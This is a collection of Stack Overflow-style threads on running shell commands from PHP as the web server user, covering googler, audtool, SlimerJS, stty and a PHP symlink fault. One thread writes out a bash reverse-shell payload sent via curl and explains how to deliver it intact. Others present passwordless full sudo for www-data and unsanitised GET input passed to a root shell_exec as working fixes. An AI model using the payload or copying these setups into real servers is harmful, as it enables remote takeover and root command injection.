I'm trying to use jarun's "googler" in a PHP script in order to search YouTube and find the URL of the first result. The command I'm executing is googler --np --json -C -n 1 -w youtube.com -x <name of youtube video>, and it works perfectly on my local machine. Here is my code:
<?php
exec("googler --np --json -C -n 1 -w youtube.com -x thomas the dank engine", $results);
var_dump($results);
?>
When I execute this in the command line, it works perfectly as it should, but when I do it via a web browser or a GET request, it does not work. I am aware that it is being executed as another user. In my case, it's the user www-data, so I gave that user full sudo permissions without a password, and did the following commands:
sudo -u pi googler --np --json -C -n 1 -w youtube.com -x thomas the dank engine
as well as
su - pi -c 'googler --np --json -C -n 1 -w youtube.com -x thomas the dank engine'
neither of these worked. Does it have to do with googler? What am I doing wrong?
When adding 2>&1 to the command, I get the following error message:
stdout encoding 'ascii' detected. googler requires utf-8 to work properly. The wrong encoding may be due to a non-UTF-8 locale or an improper PYTHONIOENCODING. (For the record, your locale language is and locale encoding is ; your PYTHONIOENCODING is not set.) Please set a UTF-8 locale (e.g., en_US.UTF-8) or set PYTHONIOENCODING to utf-8.
Try putting:
putenv("PYTHONIOENCODING=utf-8");
in the script before calling exec(). googler apparently requires the locale or this environment variable to be set.
You must remove exec from the disable_functions parameter in the php.ini file for your server module installation of PHP (which is separate from your CLI installation). It is typically disabled by default for the server module.
Related
I was testing by sending some data using curl -d and retrieve the data in a PHP script using $_POST['data'],
My request is like
curl https://localhost/shell.php -d "data=shell_exec(\"/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.0.1/8888 0>&1 ' \");"
And the shell.php script is like:
var_dump($_POST['data']);
However, the output is truncated, I am only able to get:
shell_exec(\"/bin/bash -c '/bin/bash -i >
from $_POST['data'].
Can you try and escape \&
Like curl https://localhost/shell.php -d "data=shell_exec("/bin/bash -c '/bin/bash -i >\& /dev/tcp/192.168.0.1/8888 0>&1 ' ");"
?
The Cause
After doing some research, i think i find the root cause of this problem.
First, we have to understand some basic workflow of PHP runtime. When a http request is sent to fast-cgi, the workflow looks like below:
Some preprocess(i didn't research too much in this step)
Post request processed vim a bunch module:
cgi_main
SAPI
Some other code
PHP String Process
We can also find that there is a page about PHP default configuration and we can figure out that & is the default arg separator for input parameter.
According to all the information we have so far, we can conclude PHP runtime will receive the post data sent by curl and parse it automatically and during the process it will split parameter string based on the default separator.
In my case, if i sent the post request with -d, the & was not encoded and thus the data will be truncated by PHP at the first occurrence of &, which cause the following command to be abandoned.
The Solution
Use --data-url-encode instead of -d
curl https://localhost/shell.php --data-urlencode "data=shell_exec(\"/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.0.1/8888 0>&1 ' \");"
Note
Some times we see something like PG, SG and EG. They are PHP common macros from:
PHP
ZEND
SAPI
On a local linux server (Rapsberry Pi debian stretch with desktop), I am working on sending "audtool" commands to a running Audacious media player using php, exec and bash scripts. Audacious is autostarted when the server starts up with user "pi". I have apache2 and php set up and working on the server, and I can ssh to the server and run all the commands from the cli. I believe I have resolved the issues with running audtool (dbus and setting the right environment variables) and running the php on the command line works successfully. However when running the php on a webpage I get back a long string of information about apache2
I have spent several hours (getting on for a whole day) researching this on the web in order to get to this stage, so close I can almost touch it, but stuck on this last element. The example is to display the current song from a running instance of Audacious. Audtool requires a running dbus (looks for a display). Using exec or shell_exec I have no problems running bash commands such as whoami or ls.
The php page (cursong.php):
<?php
echo exec('/var/www/html/cursong.sh');
?>
The bash script (cursong.sh):
#!/bin/bash
##call current song
pid=`pidof audacious`
user=`ps -p $pid -o user=`
export `strings /proc/$pid/environ | grep DBUS_SESSION_BUS_ADDRESS`
sudo -E -su $user /usr/bin/audtool --current-song
(from here: https://redmine.audacious-media-player.org/boards/1/topics/1058?r=1059)
Output from command line:
php -f cursong.php
Artist - Song Title (for example - so this works)
Output on webpage:
declare -x APACHE_LOCK_DIR="/var/lock/apache2" declare -x
APACHE_LOG_DIR="/var/log/apache2" declare -x
APACHE_PID_FILE="/var/run/apache2/apache2.pid" declare -x
APACHE_RUN_DIR="/var/run/apache2" declare -x APACHE_RUN_GROUP="www-
data" declare -x APACHE_RUN_USER="www-data" declare -x
INVOCATION_ID="4ce76136ca8842bd9108d6b1b9a5b9ed" declare -x
JOURNAL_STREAM="8:23896" declare -x LANG="C" declare -x OLDPWD
declare -x
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
declare -x PWD="/var/www/html" declare -x SHLVL="1"
I have set www-data, the apache2 user with the following in
/etc/sudoers:
www-data ALL=NOPASSWD: ALL
and /var/www/html is rwx for anyone
Obviously, I am expecting to see "Artist - Song Title" on the webpage, but instead I get back all the apache2 info. What am i missing, or where have I gone wrong?
I hate answering my own question, makes it look like I wasn't trying hard enough! After a further five hours or so of searching around and attempting fixes, I happened upon this post on SO:
Running command-line application from PHP as specific user
which suggested putting a "sudo -u user" in the exec of the php file. I tried this with the "pi" user and it still didn't work, then I simply tried it with "sudo" and hey presto!!
The php file now looks like this:
<?php
echo shell_exec('sudo /var/www/html/cursong.sh 2>&1');
?>
Now to do some testing on how it works with the other audtool commands that don't ask for a response but require action from audacious, and to see how I can reduce scripting php files by passing a parameter to the bash script!
Just for completeness, the php and bash scripts for both a request and an action, using a parameter fed to the php url and then on to the bash script:
PHP File with Parameter
<?php
$request = $_GET["request"];
echo shell_exec("sudo /var/www/html/cursong.sh \"${request}\" 2>&1");
?>
url example:
http://192.168.1.92/cursong.php?request="--playlist-shuffle-status"
Bash Script with parameter
#!/bin/bash
##call request
pid=`pidof audacious`
user=`ps -p $pid -o user=`
export `strings /proc/$pid/environ | grep DBUS_SESSION_BUS_ADDRESS`
sudo -E -su $user /usr/bin/audtool $1
PHP file for an action
<?php
$action = $_GET["action"];
shell_exec('sudo /var/www/html/playsong.sh \"${request}\" ');
?>
url example:
http://192.168.1.92/cursong.php?action="--playback-play"
Bash script for an action
#!/bin/bash
##call action
pid=`pidof audacious`
user=`ps -p $pid -o user=`
export `strings /proc/$pid/environ | grep DBUS_SESSION_BUS_ADDRESS`
sudo -E -su $user /usr/bin/audtool $1
On my server (Ubuntu 14.04.4 LTS), I have a Firefox installed, as well as xvfb for headless Firefox operation, and CasperJS with SlimerJS. I also have a CasperJS script which works fine. I want to utilize this script from PHP; this is the essence of my PHP script for this, let's call it mytest.php:
echo "php_sapi_name() " . php_sapi_name() . "\n"; // "cli" for php cli, "apache2handler" for php via webserver
chdir(dirname(__FILE__));
$nodeModPath = "/home/USERNAME/.nvm/versions/node/v4.0.0/lib/node_modules";
putenv("SLIMERJSLAUNCHER=/usr/bin/firefox46");
$cmdline = "xvfb-run $nodeModPath/casperjs/bin/casperjs --engine=slimerjs --debug=true mySlimerScript.js";
$returnString = shell_exec($cmdline);
echo "$returnString\n";
EDIT: Note that the command could as well be just:
$cmdline = "xvfb-run $nodeModPath/casperjs/bin/casperjs --engine=slimerjs --debug=true 2>&1";
... that is, without any JS script listed - in which case the help should be dumped (and is, in case of CLI access - but the same error as below is reported when accessing through webserver)
When I run this PHP script from the terminal command line (via SSH), that is through PHP in CLI mode:
$ php mytest.php
... everything runs fine, there is no problem whatsoever.
However, when I invoke this PHP script online through the webserver, that is via http://example.com/mytest.php, it fails first with the error:
Gecko error: it seems /usr/bin/firefox46 is not compatible with SlimerJS.
See Gecko version compatibility. If version is correct, launch slimerjs
with --debug=true to see Firefox error message
... and after adding --debug=true (as already included in the example above), I additionally get this error:
JavaScript error: resource://gre/modules/FileUtils.jsm, line 63: NS_ERROR_FAILURE: Component returned failure code: 0x80004005 (NS_ERROR_FAILURE) [nsIProperties.get]
So, apparently my headless Firefox does not want to run, when PHP is invoked through the webserver (in which case, PHP reports that it uses the apache2handler SAPI).
Would anyone know why this happens - and how can I get the script to execute properly when called from a webserver, just as when it runs under PHP CLI mode?
EDIT 2: Can now reconstruct this error via CLI mode too, and can confirm it is due to the user; so without any JS script provided in the $command, I get this:
$ sudo -H -u root php mytest.php
...
Usage: casperjs [options] script.[js|coffee] [script argument [script argument ...]]
casperjs [options] test [test path [test path ...]]
casperjs [options] selftest
...
$ sudo -H -u www-data php mytest.php
JavaScript error: resource://gre/modules/FileUtils.jsm, line 63: NS_ERROR_FAILURE: Component returned failure code: 0x80004005 (NS_ERROR_FAILURE) [nsIProperties.get]
Gecko error: it seems /usr/bin/firefox46 is not compatible with SlimerJS.
See Gecko version compatibility. If version is correct, launch slimerjs
with --debug=true to see Firefox error message
Well, this was a nasty problem. I ended up doing an strace, and comparing the logs, for the root user and the www-data user when running a full slimerjs (the full command line can be found by adding echoes to /path/to/slimerjs-0.10.1-pre/slimerjs):
sudo -H -u www-data strace \
/usr/bin/firefox46 -app /path/to/slimerjs-0.10.1-pre/application.ini \
--profile /path/to/firefox-46.0.1/profile-46 -no-remote --debug=true /home/USERNAME/.nvm/versions/node/v4.0.0/lib/node_modules/casperjs/bin/bootstrap.js --casper-path=/home/USERNAME/.nvm/versions/node/v4.0.0/lib/node_modules/casperjs \
--cli 2>&1 \
| tee /tmp/strace.log
sudo -H -u root strace \
/usr/bin/firefox46 -app /path/to/slimerjs-0.10.1-pre/application.ini \
--profile /path/to/firefox-46.0.1/profile-46 -no-remote --debug=true /home/USERNAME/.nvm/versions/node/v4.0.0/lib/node_modules/casperjs/bin/bootstrap.js --casper-path=/home/USERNAME/.nvm/versions/node/v4.0.0/lib/node_modules/casperjs \
--cli 2>&1 \
| tee /tmp/straceR.log
If these logs are now compared in say meld, then the eventually start diverging at a point like this:
mkdir("/root/.innophi", 0700) = 0
mkdir("/root/.innophi/slimerjs", 0700) = 0
... [vs.] ...
mkdir("/var/www/.innophi", 0700) = -1 EACCES (Permission denied)
access("/var/www/.innophi", F_OK) = -1 ENOENT (No such file or directory)
So, casperJS basically tries to create a directory in the home directory of the user; the problem is , www-data's $HOME is /var/www, where it seemingly has no write access!
So, the easiest thing for me was to "hack" the $HOME environment variable in the mytest.php script, and set it to /tmp, where www-data definitely has write permissions:
...
putenv("SLIMERJSLAUNCHER=/usr/bin/firefox46");
putenv("HOME=/tmp");
...
... and whaddayaknow, finally the script works under the www-data user from CLI too:
$ sudo -H -u www-data php test_commands.php
...
Options:
--verbose Prints log messages to the console
--log-level Sets logging level
--help Prints this help
...
Btw, this .innophi directory seems to also be mentioned in https://docs.slimerjs.org/current/configuration.html#profiles ,
I know that it is quite easy to figure out a terminal's size parameters via the stty -a command. When using local CLI PHP scripts, there is no problem at all on grabbing that output via system() or so.
But I am trying the same thing via a php script started from an ssh command. Sadly, all that stty ever returns is:
stty: standard input: Invalid argument.
The calling code is:
exec('stty -a | head -n 1', $query);
echo $query[0];
So the question is: If I can output to the terminal and read input from it (e.g. can fread() from STDIN and fwrite() to STDOUT in PHP, shouldn't stty also have valid STDIN and STDOUT?
Use ssh -t:
% php ~/src/termtest.php
speed 9600 baud; 39 rows; 127 columns;
% ssh localhost php ~/src/termtest.php
stty: stdin isn't a terminal
% ssh -t localhost php ~/src/termtest.php
speed 9600 baud; 39 rows; 127 columns;Connection to localhost closed.
SSH does not pass in a fully functional terminal by default. Shells and ncurses seem to be able to get them somehow, but to launch something that needs one directly from SSH you need to set -t.
For the same reason you can e.g. launch tmux (or screen) by ssh'ing to a server and then typing tmux at the prompt or through ssh -t _server_ tmux but not through sh _server_ tmux.
PHP CLI has suddently stopped working on the server. When running any php file even php -v to get php version I get following error.
Thanks
# php -v
Unknown option: v
php [-f from_encoding] [-t to_encoding] [-s string] [files...]
php -l
php -r encoding_alias
-l,--list
lists all available encodings
-r,--resolve encoding_alias
resolve encoding to its (Encode) canonical name
-f,--from from_encoding
when omitted, the current locale will be used
-t,--to to_encoding
when omitted, the current locale will be used
-s,--string string
"string" will be the input instead of STDIN or files
The following are mainly of interest to Encode hackers:
-D,--debug show debug information
-C N | -c | -p check the validity of the input
-S,--scheme scheme use the scheme for conversion
Type which php on your shell to find which php executable your shell picks from your search PATH.
Use ls -l $(which php) to see if it's a symlink to some other executable.
What you see when running php -v is actually output of the piconv command.
Most possibly, there is a symlink named php pointing to piconv somewhere in your search PATH.
Type echo $PATH to see the order of directories in which your shell searches for an executable php.
EDIT:
Changed whereis to which in the command above.